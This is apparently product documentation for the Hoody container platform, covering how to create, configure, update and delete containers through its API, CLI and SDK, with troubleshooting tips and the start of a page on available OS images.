- **[Projects](/api/projects/)** - Project management

---

## Creating Containers

**Every container you create becomes a complete HTTP computer with the full Hoody Kit service stack.**

### The Basic Creation



**Within 1-5 seconds:**
- Container is running (prespawn) or creating (regular)
- The full Hoody Kit HTTP stack is live
- URLs automatically generated

**Startup timing:**
- **With prespawn:** Sub-second (claimed from warm pool)
- **Without prespawn:** 1-5 seconds (created on demand)

**Response includes container details:**

```json
{
  "statusCode": 201,
  "message": "Container created successfully",
  "data": {
    "id": "890abcdef12345678901cdef",
    "project_id": "67e89abc123def456789abcd",
    "server_id": "63f8b0e5c9a1b2d3e4f5a6b7",
    "server_name": "node-us",
    "name": "dev-environment",
    "status": "creating",
    "hoody_kit": true,
    "dev_kit": true
  }
}
```

**Your container URLs are now live:**

```
Terminal:  https://67e89abc123def456789abcd-890abcdef12345678901cdef-terminal-1.node-us.containers.hoody.icu
Display:   https://67e89abc123def456789abcd-890abcdef12345678901cdef-display-1.node-us.containers.hoody.icu
Files:     https://67e89abc123def456789abcd-890abcdef12345678901cdef-files-1.node-us.containers.hoody.icu
Exec:      https://67e89abc123def456789abcd-890abcdef12345678901cdef-exec-1.node-us.containers.hoody.icu
SQLite:    https://67e89abc123def456789abcd-890abcdef12345678901cdef-sqlite-1.node-us.containers.hoody.icu
+ the rest of the 18 Kit services...
```

---

## Container Configuration Options

**When creating a container, you can customize every aspect:**

### Essential Parameters


  
    ```json
    {
      "name": "my-container"
    }
    ```
    
    - 3-100 characters
    - Alphanumeric + hyphens/underscores
    - Unique within project
    - Use `"rand"` or omit for auto-generated name
  
  
    ```json
    {
      "server_id": "63f8b0e5c9a1b2d3e4f5a6b7"
    }
    ```
    
    - Required during creation
    - Determines where container runs
    - Get via: `GET /api/v1/rentals` or `GET /api/v1/servers/available`
    - Choose by geography, capacity, or price
  
  
    ```json
    {
      "hoody_kit": true
    }
    ```
    
    - `true`: Install the Hoody Kit HTTP services (terminal, display, files, exec, sqlite, cron, pipe, notifications, curl, browser, code, daemon, tunnel, workspaces, ssh, proxy, plus dynamic http/https ports)
    - `false`: Plain Linux container
    - **Recommended:** Always use `true`
    - Can't be changed after creation
  
  
    ```json
    {
      "dev_kit": true
    }
    ```
    
    - `true`: Include developer-focused Kit services (editor, agent, and related workspaces tooling) on top of `hoody_kit`
    - `false`: Omit the developer stack to keep the image smaller
    - Default: `true` when `hoody_kit: true`
    - Can't be changed after creation
  


### Image Selection

**Choose your operating system:**

```json
{
  "container_image": "debian/13"
}
```

**Available images:**
- `debian/13` - Debian 13 Trixie ⭐ (recommended default)
- `debian/12` - Debian 12 Bookworm
- `ubuntu/24.04` - Ubuntu 24.04 LTS
- `ubuntu/22.04` - Ubuntu 22.04 LTS
- `alpine/3.19` - Alpine Linux (minimal)
- `fedora/<release>` - Fedora (pick an available release from `GET /api/v1/images/public?os=fedora`)

**Default:** If omitted or null, the system default image is used — currently `debian/13` (Debian 13 Trixie). You can override it with any image from the marketplace.

**See:** [Container Images](/foundation/containers/images/) for complete marketplace and OS options.

### Realm Assignment (API Segregation)

**Assign container to specific realms for API-level isolation:**

```json
{
  "realm_ids": ["64a2c4e9f3d5e2b6a8c7d8e1", "65b3d5f0a4e6f3c7b9d8e9f2"]
}
```

**Important:** Realms are **NOT private networks**. They segregate the Hoody API:
- Different realms use different API endpoints: `https://{realmId}.api.hoody.icu`
- AI agents in one realm can't discover containers in another
- Auth tokens can be scoped to specific realms
- Production/staging/development separated at API level

When creating from a realm-scoped host:
- The target project must already include that realm.
- The scoped realm is merged into container `realm_ids`.
- Realm-restricted auth tokens are forced to the active scoped realm only.


**AI Safety:** Isolate AI agents in different realms to prevent managing wrong containers. One realm per container = zero mistakes.


**See:** [Realms](/foundation/hoody-api/realms/) for complete API segregation details.

### Environment Variables

**Set environment variables for your application:**

```json
{
  "environment_vars": {
    "NODE_ENV": "production",
    "DATABASE_URL": "postgresql://...",
    "API_KEY": "your-secret-key"
  }
}
```

**These are available in the container immediately.**

### SSH Access

**Provide your SSH public key:**

```json
{
  "ssh_public_key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGx..."
}
```

**Critical SSH Key Rules:**


**Each container needs a UNIQUE SSH public key:**
- SSH keys **must be different** for every container
- Hoody's SSH Proxy routes by public key (duplicates will conflict)
- **If omitted:** Defaults to `null` - container will have **NO SSH access** (but you can still access the shell via [hoody-terminal](/kit/terminals/) web interface)
- **Can be added later** via container update if you forget



**SSH is optional on Hoody.** You don't need SSH to manage containers - [`hoody-terminal`](/kit/terminals/) provides web-based shell access through HTTP. SSH is useful for local tools (VS Code Remote, rsync) but not required for day-to-day operations.


**Generate unique keys for each container:**

```bash
# Generate new key pair for each container
ssh-keygen -t ed25519 -f ~/.ssh/hoody-container-1 -N ""
ssh-keygen -t ed25519 -f ~/.ssh/hoody-container-2 -N ""

# Use different public keys
container_1: {"ssh_public_key": "ssh-ed25519 AAAA... (from container-1.pub)"}
container_2: {"ssh_public_key": "ssh-ed25519 AAAA... (from container-2.pub)"}
```

**Why unique keys matter:** Hoody's SSH Proxy identifies containers by public key. Reusing a key breaks routing - multiple containers can't share the same SSH identity.

**See:** [SSH Access](/foundation/networking/ssh/) for SSH configuration.

### Visual Organization (Color)

**Qubes-inspired color coding for instant visual identification:**

```json
{
  "color": "#3498db"  // HEX color (with or without #)
}
```

**Why colors matter (inspired by Qubes OS):**

Like Qubes OS uses colors to visually distinguish security domains (red = untrusted, green = trusted), Hoody lets you color-code containers for instant recognition.

**Especially useful for:**
- 🖥️ **WebOS builders** - Color-code different workspaces/applications
- 🔐 **Security zones** - Red = public-facing, green = internal, blue = database
- 👥 **Multi-user teams** - Each user/team gets distinct colors
- 🎯 **Environment types** - Yellow = dev, orange = staging, green = production

**Visual scanning beats text** - spot your production database instantly in 50 containers.

### Additional Options

```json
{
  "comment": "Development environment for Project X",
  "autostart": true,         // Auto-start when host reboots (default: true)
  "ai": true,               // Enable AI features (default: true)
  "cache": true,            // Use cached images (faster creation)
  "prespawn": false,        // Create as prespawn cache
  "ramdisk": true           // enabled by default, set false to disable
}
```

**About autostart (default: true):**
- When `true`: Container automatically starts when host machine reboots
- When `false`: Container stays stopped after host reboot (manual start required)
- **Default behavior:** Containers auto-start to ensure services remain available after server maintenance/restarts

**About ramdisk (default: enabled):**
- `/ramdisk` available by default for ultra-fast temporary storage in RAM
- **Set `ramdisk: false` to disable** if you don't need it
- **Zero RAM consumed when empty** - RAM allocated on-demand as you store files
- **Data persists through container restarts** (unique Hoody feature!)
- **Data lost only when HOST machine reboots** (not when container restarts)
- Perfect for cache, build artifacts, temporary processing that needs speed
- **See:** [/ramdisk](/foundation/storage/ramdisk/) for usage patterns and memory balancing

---

## Complete Creation Examples

### Example 1: Development Container

**Full-featured development environment:**



**Use case:** Your daily driver - full resources, all services, auto-starts.

### Example 2: Production API Container

**Optimized for running APIs:**



**Then configure:**
1. Create [proxy alias](/foundation/proxy/aliases/) for clean URL
2. Set [proxy permissions](/foundation/proxy/permissions/) for authentication
3. Configure [firewall rules](/foundation/networking/firewall/) for security

### Example 3: Minimal Utility Container

**Lightweight container for specific tasks:**



**Use case:** Run occasionally for backups, minimal resource footprint.

### Example 4: AI Agent Container

**Dedicated container for AI orchestration:**



**With hoody-agent service:**
```
https://67e89abc123def456789abcd-890abcdef12345678901cdef-workspaces-1.node-us.containers.hoody.icu
```

---

## Editing Containers

**Update container configuration via the API.**

### Update Workflow

**Important:** Most updates require the container to be stopped.


  
    ```bash
    # 1. Stop container
    hoody containers manage $CONTAINER_ID stop

    # 2. Update configuration
    hoody containers update $CONTAINER_ID \
      --name "renamed-container" \
      --environment-vars NODE_ENV=staging

    # 3. Restart container
    hoody containers manage $CONTAINER_ID start
    ```
  
  
    ```typescript
    // 1. Stop container
    await client.api.containers.manage(CONTAINER_ID, 'stop');

    // 2. Update configuration
    await client.api.containers.update(CONTAINER_ID, {
      name: 'renamed-container',
      environment_vars: { NODE_ENV: 'staging' }
    });

    // 3. Restart container
    await client.api.containers.manage(CONTAINER_ID, 'start');
    ```
  
  
    ```bash
    # 1. Stop container
    curl -X POST "https://api.hoody.icu/api/v1/containers/{container_id}/stop" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # 2. Update configuration
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/{container_id}" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "renamed-container",
        "environment_vars": {"NODE_ENV": "staging"}
      }'

    # 3. Restart container
    curl -X POST "https://api.hoody.icu/api/v1/containers/{container_id}/start" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


### What You Can Update

**Container metadata:**
- `name` - Rename container
- `color` - Change UI color
- `comment` - Update description

**Configuration:**
- `environment_vars` - Add/modify/remove env variables
- `ssh_public_key` - Change SSH access key
- `realm_ids` - Update API realm membership (realm-restricted tokens cannot modify this)
- `autostart` - Enable/disable auto-start
- `ai` - Enable/disable AI features
- `ramdisk` - Enable/disable ramdisk mount

**What you CANNOT change:**
- `container_image` - OS is permanent (create new container instead)
- `hoody_kit` - Service installation is permanent
- `server_id` - Cannot move servers (use [copy](/foundation/containers/copy-sync/) instead)

### Update Examples

**Example 1: Change Environment**

```bash
# Switch from staging to production
PATCH /api/v1/containers/{id}
{
  "environment_vars": {
    "NODE_ENV": "production",
    "API_BASE_URL": "https://api.mycompany.com"
  }
}
```

**Example 2: Move to Different Realm**

```bash
# Isolate to production network
PATCH /api/v1/containers/{id}
{
  "realm_ids": ["64a2c4e9f3d5e2b6a8c7d8e1"]
}
```

---

## Deleting Containers

**Permanent deletion of a container and all its data.**

### The Deletion Process



**What gets deleted:**
- ✅ Container filesystem and all data
- ✅ Environment variables
- ✅ Network configuration
- ✅ Firewall rules
- ✅ All service URLs become inaccessible
- ❌ **Snapshots are preserved** (until you delete them)
- ❌ **Existing copies keep running** (they are independent containers, but can no longer be synced — the source link is broken)


**This action is irreversible.** Always [snapshot](/foundation/containers/snapshots/) important containers before deletion.


### Safe Deletion Workflow


  
    ```bash
    # 1. Create final snapshot
    hoody snapshots create --container $CONTAINER_ID --alias "before-deletion-2025-11-09"

    # 2. Stop running container
    hoody containers manage $CONTAINER_ID stop

    # 3. Permanent deletion
    hoody containers delete $CONTAINER_ID

    # 4. Cleanup (optional) - delete proxy aliases
    hoody proxy delete $ALIAS_ID
    ```
  
  
    ```typescript
    // 1. Create final snapshot
    await client.api.containers.createSnapshot(CONTAINER_ID, {
      alias: 'before-deletion-2025-11-09'
    });

    // 2. Stop running container
    await client.api.containers.manage(CONTAINER_ID, 'stop');

    // 3. Permanent deletion
    await client.api.containers.delete(CONTAINER_ID);

    // 4. Cleanup (optional)
    await client.api.proxyAliases.delete(ALIAS_ID);
    ```
  
  
    ```bash
    # 1. Create final snapshot
    curl -X POST "https://api.hoody.icu/api/v1/containers/{id}/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "before-deletion-2025-11-09"}'

    # 2. Stop running container
    curl -X POST "https://api.hoody.icu/api/v1/containers/{id}/stop" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # 3. Permanent deletion
    curl -X DELETE "https://api.hoody.icu/api/v1/containers/{id}" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # 4. Cleanup (optional) - delete proxy aliases
    curl -X DELETE "https://api.hoody.icu/api/v1/proxy/aliases/{alias_id}" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**Best practice:** Keep snapshots of production containers for disaster recovery.

---

## The Hoody Kit

**When you set `hoody_kit: true`, your container gets the full Hoody Kit HTTP stack:**

### What Gets Installed

<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; margin: 1.5rem 0;">

<div style="padding: 1rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Interact & Visualize:**
- **Terminal** ([hoody-terminal](/kit/terminals/)) - Web-based terminal
- **Display** ([hoody-display](/kit/displays/)) - Full desktop environment
- **Browser** ([hoody-browser](/kit/browser/)) - Chrome automation

</div>

<div style="padding: 1rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Data & State:**
- **Files** ([hoody-files](/kit/files/)) - Filesystem access
- **SQLite** ([hoody-sqlite](/kit/sqlite/)) - Database + KV store

</div>

<div style="padding: 1rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Automate & Orchestrate:**
- **Exec** ([hoody-exec](/kit/exec/)) - Scripts as HTTP APIs
- **cURL** ([hoody-curl](/kit/curl/)) - HTTP request wrapper

</div>

<div style="padding: 1rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Operate & Monitor:**
- **Daemons** ([hoody-daemon](/kit/daemons/)) - Process management
- **Notifications** ([hoody-notifications](/kit/notifications/)) - Alerts
- **Code** ([hoody-code](/kit/code/)) - VS Code instances
- **Cron** ([hoody-cron](/kit/cron/)) - Scheduled task runner
- **Pipe** ([hoody-pipe](/kit/pipe/)) - Data streaming between services
- **Workspace** ([hoody-workspace](/kit/workspaces/)) - Collaborative workspace service

</div>

</div>

**Installation time:** Added to container creation (no extra wait).

**See:** [The Hoody Kit](/kit/) for complete service documentation.

---

## Container Lifecycle States

**Containers progress through these states:**

```
creating → running → (paused) → stopped → deleted
              ↓                    ↑
           (can pause)          (can restart)
```

### State Descriptions

| State | Description | Transitions Available |
|-------|-------------|----------------------|
| `creating` | Container being provisioned | → `running` (automatic) |
| `running` | Container is active | → `stopped`, `paused` |
| `paused` | Container suspended | → `running` (resume) |
| `stopped` | Container is stopped | → `running` (start) |
| `failed` | Creation or operation failed | → `deleted` (cleanup) |
| `copying` | Being copied to another location | → `running` (when complete) |
| `deleted` | Marked for deletion | (final state) |

**Get current state:**



**See:** [Managing Containers](/foundation/containers/managing/) for state transitions.

---

## Listing Your Containers

**Find containers across all projects:**

### List All Containers



### List Project Containers



### Filtering & Pagination



### Include Runtime Information

**Get live service status:**



**Response includes:**
- Active terminal sessions
- Display connections
- Running services (with PIDs)
- Network services and ports
- Command history

**Use this to verify services are running before using their URLs.**

---

## Complete Workflow Example

**From project creation to running container:**


  
    ```bash
    # 1. Create a project
    hoody projects create --alias "client-acme" --color "#e74c3c"

    # 2. Check your servers
    hoody servers list

    # 3. Create a container
    hoody containers create --project $PROJECT_ID \
      --server-id $SERVER_ID \
      --name "acme-frontend" \
      --hoody-kit \
      --ssh-public-key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA..."

    # 4. Verify it's running
    hoody containers get $CONTAINER_ID

    # 5. Container URLs are live:
    # https://{project_id}-{container_id}-terminal-1.{server_name}.containers.hoody.icu
    # https://{project_id}-{container_id}-display-1.{server_name}.containers.hoody.icu
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';
    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: TOKEN });

    // 1. Create a project
    const project = await client.api.projects.create({
      alias: 'client-acme', color: '#e74c3c'
    });

    // 2. Get server ID from rentals
    const rentals = await client.api.rentals.list();
    const serverId = rentals.data[0].server_id;

    // 3. Create a container
    const container = await client.api.containers.create(
      project.data.id,
      {
        name: 'acme-frontend',
        server_id: serverId,
        hoody_kit: true,
        ssh_public_key: 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA...'
      }
    );

    // 4. Verify it's running
    const status = await client.api.containers.get(container.data.id);
    console.log(status.data.status); // 'running'
    ```
  
  
    ```bash
    # 1. Create a project
    curl -X POST "https://api.hoody.icu/api/v1/projects/" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "client-acme", "color": "#e74c3c"}'

    # 2. Check your servers
    curl "https://api.hoody.icu/api/v1/rentals" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # 3. Create a container
    curl -X POST "https://api.hoody.icu/api/v1/projects/{project_id}/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "acme-frontend",
        "server_id": "{server_id}",
        "hoody_kit": true,
        "ssh_public_key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA..."
      }'

    # 4. Verify it's running
    curl "https://api.hoody.icu/api/v1/containers/{container_id}" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # 5. Container URLs are live:
    # https://{project_id}-{container_id}-terminal-1.{server_name}.containers.hoody.icu
    ```
  


---

## Best Practices

### 1. Use Prespawn for Production

Configure prespawn templates for production containers to eliminate startup delays. Sub-second availability means faster auto-scaling, instant failover, and better user experience.

### 2. Generate Unique SSH Keys Per Container

Never reuse SSH keys. Generate a new ed25519 key pair for each container to ensure proper routing via Hoody's SSH Proxy.

```bash
ssh-keygen -t ed25519 -f ~/.ssh/container-{name} -N ""
```

### 3. Use realm_ids for AI Agent Isolation

When using AI agents, isolate containers in different realms to prevent accidents. An agent in realm A cannot discover or manage containers in realm B - complete API-level separation ensures safety.

### 4. Color-Code by Purpose

Use Qubes-style color coding: red for public-facing, green for internal services, blue for databases, yellow for development. Visual identification beats reading labels.

### 5. Snapshot Before Deletion

Always create a snapshot before permanently deleting important containers. The snapshot preserves all data for recovery if needed.

### 6. Set autostart Based on Priority

Critical services: `autostart: true` (ensures availability after host reboots). Development containers: `autostart: false` (saves resources).

### 7. Use debian/13 as Default

Unless you have specific requirements, stick with `debian/13` for excellent stability, security, and package availability.

### 8. Leverage /ramdisk for Performance

ramdisk is enabled by default—use it for ultra-fast temporary storage (caches, build artifacts, temporary processing). Remember: empty ramdisk consumes zero RAM.

---

## Useful Questions

### Can I change the OS after creating a container?

No. The `container_image` is permanent. To use a different OS:
1. [Snapshot](/foundation/containers/snapshots/) your data
2. Create new container with desired image
3. Transfer data via [storage shares](/foundation/storage/sharing-files/) or manual copy
4. Delete old container

### How many containers can I create?

Optionally limited by the `max_containers` quota on your project (unset by default, so there's no per-project cap unless you set one). Get the current quota via `GET /api/v1/projects/{id}`. Free servers cap at 10 containers each. No platform-wide limit—create as many projects as needed.

### What happens if container creation fails?

Status becomes `failed`. Check error via `GET /api/v1/containers/{id}`. Common causes:
- Server out of capacity
- Invalid image name
- Resource quota exceeded
- Network issues

Delete the failed container and try again.

### Can I create containers without hoody_kit?

Yes! Set `hoody_kit: false` for plain Linux containers. **Important limitations:**
- ❌ **No Hoody Proxy** - Container services won't be accessible via HTTP
- ❌ **No Hoody Kit HTTP stack** - No terminal, display, files, exec, etc.
- ✅ **SSH access only** - But ONLY if you provide `ssh_public_key` (defaults to null otherwise)
- ⚠️ **No web access at all** - Without hoody_kit AND without SSH key, container is completely inaccessible

**Use when:** You need minimal overhead, custom service installations, or are managing everything via SSH yourself.

**Recommendation:** Almost always use `hoody_kit: true`. The HTTP services are what make Hoody powerful.

### Do I get charged for stopped containers?

Storage charges apply to stopped containers (they still occupy disk space). CPU/RAM charges stop when container is stopped. Minimize cost: delete unused containers or use minimal storage allocation.

### Can I create containers on multiple servers simultaneously?

Yes. Each container creation is independent. Spawn 100 containers across 10 servers in parallel—all via standard HTTP requests. Common pattern for auto-scaling or testing.

### What's the fastest way to create a container?

Use prespawn templates - pre-created container pools that are claimed in milliseconds (sub-second). Regular creation: 1-5 seconds.

### Can I automate container creation with CI/CD?

Absolutely. Create [auth token](/foundation/hoody-api/authentication/), store as GitHub Secret, use `curl` in workflows. Container creation is just an HTTP POST—works in any CI/CD system.

### How do I know which services are running in my container?

Query with `runtime=true` parameter:
```bash
GET /api/v1/containers/{id}?runtime=true
```

Response shows active services with PIDs, ports, and connection status.

---

## Troubleshooting

### Container Stuck in "creating" Status

**Problem:** Container status remains "creating" for longer than expected

**Typical creation time:** 1-5 seconds (prespawn: sub-second)

**If longer than 2 minutes:**

1. **Check server status:**
   ```bash
   curl "https://api.hoody.icu/api/v1/servers/{server_id}" \
     -H "Authorization: Bearer $HOODY_TOKEN"
   
   # Verify server is "ready", not "maintenance"
   ```

2. **Check server capacity:**
   - Server may be at capacity
   - Try different server_id

3. **Wait and re-check:**
   - Complex images take longer
   - First creation on server takes longer (image pull)
   - Hoody Kit installation adds ~10-15 seconds

4. **If stuck >5 minutes:**
   - Delete and recreate
   - Or contact support with container_id

### Cannot Update Container (400 Error)

**Problem:** Update request returns 400 Bad Request

**Common causes:**

1. **Container is running:**
   ```bash
   # Stop first
   POST /api/v1/containers/{id}/stop
   
   # Then update
   PATCH /api/v1/containers/{id}
   ```

2. **Invalid values:**
   - Name must be unique in project
   - Color must be valid HEX format
   - SSH public key must be unique (can't reuse across containers)
   - realm_ids must be array of valid realm IDs

3. **Immutable fields:**
   - Cannot change `container_image`
   - Cannot change `hoody_kit`
   - Cannot change `server_id`

### Container Creation Fails Immediately

**Problem:** Response shows `status: "failed"` immediately

**Check error details:**

```bash
curl "https://api.hoody.icu/api/v1/containers/{failed_container_id}" \
  -H "Authorization: Bearer $HOODY_TOKEN"

# Look for error message in response
```

**Common issues:**

1. **Invalid image name:**
   ```bash
   # ❌ Wrong: "ubuntu:22.04" or "ubuntu-22.04"
   # ✅ Correct: "ubuntu/24.04" or "debian/13"
   ```

2. **Server quota exceeded:**
   - Server out of CPU/RAM
   - Choose different server

3. **Project quota:**
   ```bash
   # Check project limits
   GET /api/v1/projects/{id}
   # Look at: max_containers
   ```

### Cannot Delete Container

**Problem:** Delete operation fails

**Solutions:**

1. **Stop container first:**
   ```bash
   POST /api/v1/containers/{id}/stop
   
   # Wait for stopped status
   GET /api/v1/containers/{id}
   
   # Then delete
   DELETE /api/v1/containers/{id}
   ```

2. **Remove proxy aliases:**
   ```bash
   # List aliases for container
   GET /api/v1/proxy/aliases?container_id={id}
   
   # Delete each alias
   DELETE /api/v1/proxy/aliases/{alias_id}
   
   # Then delete container
   ```

3. **Check permissions:**
   - Verify you own the container
   - Check you're using correct auth token

### Services Not Accessible After Creation

**Problem:** Container created but service URLs return errors

**Debug steps:**

1. **Verify container is running:**
   ```bash
   GET /api/v1/containers/{id}
   # Check: "status": "running"
   ```

2. **Wait for services to start:**
   - Container may be running but services still initializing
   - Wait 30-60 seconds after `status: "running"`

3. **Check runtime information:**
   ```bash
   GET /api/v1/containers/{id}?runtime=true
   
   # Verify services are listed in runtime_info
   ```

4. **Verify hoody_kit was enabled:**
   ```bash
   GET /api/v1/containers/{id}
   # Check: "hoody_kit": true
   ```

---

## What's Next

**Your container is running:**

1. **[Managing Containers →](./managing/)** - Start, stop, pause, resume operations
2. **[Snapshots →](./snapshots/)** - Backup and restore your container state
3. **[Copy & Sync →](./copy-sync/)** - Duplicate containers across projects/servers

**Configure access and networking:**
- **[Hoody Proxy →](/foundation/proxy/)** - Make services accessible
- **[Network Configuration →](/foundation/networking/network/)** - Proxy/VPN routing
- **[Firewall →](/foundation/networking/firewall/)** - Security rules

**Understanding gained:**
- ✅ Containers are created via HTTP POST
- ✅ Hoody Kit provides the full HTTP service stack automatically
- ✅ Container configuration can be updated (when stopped)
- ✅ Deletion is permanent (snapshot first!)
- ✅ Service URLs follow predictable pattern

---

> **Spawn containers like you spawn URLs.**  
> **Configure them via HTTP.**  
> **Delete them when you're done.**  
> **This is the foundation of infinite computers.**

---

# Container Images

**Page:** foundation/containers/images

[Download Raw Markdown](./foundation/containers/images.md)

---

# Container Images

**Every container starts with an image.** Choose from Ubuntu, Debian, Alpine, Fedora, and more. Free community images or premium pre-configured environments.

After [creating containers](/foundation/containers/create-edit-delete/), you need to understand **which operating system and software foundation** to build on.

---

## Available Operating Systems

**Quick reference of supported Linux distributions:**

| OS | Latest Version | Image Name | Size | Best For |
|---|---|---|---|---|
| **Debian** | 13 (Trixie) | `debian/13` ⭐ | ~500 MB | Production stability |
| **Debian** | 12 (Bookworm) | `debian/12` | ~500 MB | Long-term support |
| **Ubuntu** | 24.04 LTS | `ubuntu/24.04` | ~1-2 GB | General development |
| **Ubuntu** | 22.04 LTS | `ubuntu/22.04` | ~1-2 GB | Wider compatibility |
| **Alpine** | 3.19 | `alpine/3.19` | ~50-200 MB | Microservices |
| **Alpine** | 3.18 | `alpine/3.18` | ~50-200 MB | Resource optimization |
| **Fedora** | — | `fedora/<release>` | ~1-2 GB | Cutting-edge packages (pick a release from `GET /api/v1/images/public`) |
| **CentOS** | 9 Stream | `centos/9` | ~1-2 GB | Enterprise compatibility |
| **Rocky Linux** | 9 | `rockylinux/9` | ~1-2 GB | RHEL-compatible |


**Recommended default:** `debian/13` provides excellent stability, security, and package availability for most use cases.



**Windows containers:** Support for running Windows inside containers is coming soon. Currently, Windows does not run well on the platform. Use Linux distributions for now.


---

## API Endpoints Summary

**Official Technical Reference:**

This Foundation page explains image concepts and selection. For complete endpoint documentation:

**Public Marketplace:**
- **[GET /api/v1/images/public](/api/container-images/)** - Browse available images
- **[GET /api/v1/images/public/\{id\}](/api/container-images/)** - Get image details
- **[GET /api/v1/images/\{id\}/icon](/api/container-images/)** - Download image icon

**Your Images:**
- **[GET /api/v1/images/user](/api/container-images/)** - List imported/purchased images
- **[POST /api/v1/images/import/\{id\}](/api/container-images/)** - Import free image
- **[POST /api/v1/images/purchase/\{id\}](/api/container-images/)** - Purchase paid image
- **[POST /api/v1/images/rate/\{id\}](/api/container-images/)** - Rate image (0-5 stars)

---

## What Are Container Images?

**A container image is the starting point:** The operating system, pre-installed software, and default configuration that your container boots from.

```
Container Image (Ubuntu 22.04)
        ↓
Container Creation
        ↓
Running Container (Ubuntu 22.04 + your work)
```

**The image provides:**
- ✅ Base operating system (Linux distribution)
- ✅ System libraries and tools
- ✅ Default package manager (apt, apk, dnf, yum)
- ✅ Initial filesystem structure
- ✅ Sometimes: Pre-installed software (databases, web servers, dev tools)

**Your work builds on top:** Install applications, configure services, add data, customize environment.


**Images are immutable templates.** Once a container is created from an image, the image doesn't change. But you can always create NEW containers with different images.



**Custom Hoody Kernel:** All containers run on a custom hardened Hoody kernel. You **cannot change the kernel version** - it's managed at the host level for security and performance optimization. Images only control userspace (OS distribution, packages, configuration).


---

## The Image Marketplace

**Hoody provides a marketplace of container images:**

### Browsing Images



**Filter by criteria:**

You can filter images using query parameters:
- `os` - Filter by operating system (ubuntu, debian, alpine, fedora, centos)
- `architecture` - Filter by CPU architecture (amd64, arm64)
- `min_price` / `max_price` - Filter by price range
- `min_rating` - Filter by minimum rating
- `search` - Search by keyword
- `sort_by` / `sort_order` - Sort results

### Image Properties

**Each image has:**

| Property | Description | Example Values |
|----------|-------------|----------------|
| **OS** | Operating system | ubuntu, debian, alpine, fedora, centos |
| **Release** | Version/release | 22.04, 12, 3.18, 38 |
| **Architecture** | CPU architecture | amd64, arm64, armhf |
| **Size** | Disk space required | 500 MB - 5 GB |
| **Price** | Cost in USD | 0 (free), 5, 10, 25 |
| **Rating** | Community rating | 0.0 - 5.0 stars |
| **Prespawn** | Fast-start optimized | true/false |
| **Variant** | Special configuration | cloud, minimal, standard |

---

## Operating Systems

**Choose based on your needs:**

### Ubuntu (Most Popular)

**Recommended:** `ubuntu/24.04` or `ubuntu/22.04` (LTS releases)

**Best for:**
- ✅ General purpose development
- ✅ Web servers (nginx, Apache)
- ✅ Application deployments (Node.js, Python, Go)
- ✅ Most tutorials and documentation assume Ubuntu
- ✅ Large package repository (apt)

**Characteristics:**
- Larger size (~1-2 GB)
- More pre-installed tools
- Familiar to most developers
- Long-term support releases

### Debian

**Recommended:** `debian/13` (Trixie, latest) or `debian/12` (Bookworm, stable)

**Best for:**
- ✅ Production servers (rock-solid stability)
- ✅ Security-conscious deployments
- ✅ Minimal but complete environment

**Characteristics:**
- Similar to Ubuntu (Ubuntu is Debian-based)
- More conservative updates
- Excellent stability
- Smaller size than Ubuntu

### Alpine Linux

**Recommended:** `alpine/3.19` or `alpine/3.18`

**Best for:**
- ✅ Microservices (minimal footprint)
- ✅ Container optimization (fast startup)
- ✅ Resource-constrained scenarios
- ✅ Security-focused deployments

**Characteristics:**
- Very small size (~5-50 MB)
- Uses musl libc (not glibc)
- apk package manager
- Fast bootup


**Alpine uses musl instead of glibc.** Some pre-compiled binaries built for glibc won't work. Most interpreted languages (Node.js, Python, Go) work fine, but check compatibility for native binaries.


### Fedora

**Recommended:** any Fedora release available in `GET /api/v1/images/public?os=fedora`

**Best for:**
- ✅ Cutting-edge software versions
- ✅ RedHat ecosystem development
- ✅ Testing new kernel features

**Characteristics:**
- Latest packages (sometimes too bleeding-edge)
- dnf package manager
- RedHat-like environment
- Shorter support cycle than Ubuntu LTS

### CentOS / Rocky Linux

**Recommended:** `centos/9` or `rockylinux/9`

**Best for:**
- ✅ Enterprise applications
- ✅ Long-term stability requirements
- ✅ RedHat compatibility

**Characteristics:**
- Enterprise-focused
- Long support cycles
- Conservative package versions
- yum/dnf package manager

---

## CPU Architecture

**Match image architecture to your server:**

### amd64 (x86-64)

**Most common.** Standard Intel/AMD processors. Nearly all deployments use amd64 unless you specifically have ARM servers.

### arm64 (ARM 64-bit)

**ARM processors.** Apple Silicon, AWS Graviton, Raspberry Pi 4+. Used for ARM-based servers and cost-optimized cloud instances.

### armhf (ARM hard float)

**Older ARM devices.** Raspberry Pi 3 and earlier. Rarely needed in modern deployments.


**Check your server architecture** via `GET /api/v1/servers/{id}` before selecting images. Mismatched architecture = container won't start.


---

## Running Docker, Kubernetes, and Container Orchestration

**Hoody containers fully support Docker, Kubernetes, and any container orchestration platform.**

### Docker Inside Containers

**You can run Docker inside Hoody containers** - this is a supported and common use case:

```bash
# After container creation with debian/13
# Install Docker inside container via terminal
apt-get update
apt-get install -y docker.io
systemctl start docker

# Now use Docker normally
docker run hello-world
docker-compose up
```

**Full Docker capabilities:**
- ✅ Docker daemon runs inside container
- ✅ Docker Compose works perfectly
- ✅ Build and run any Docker images
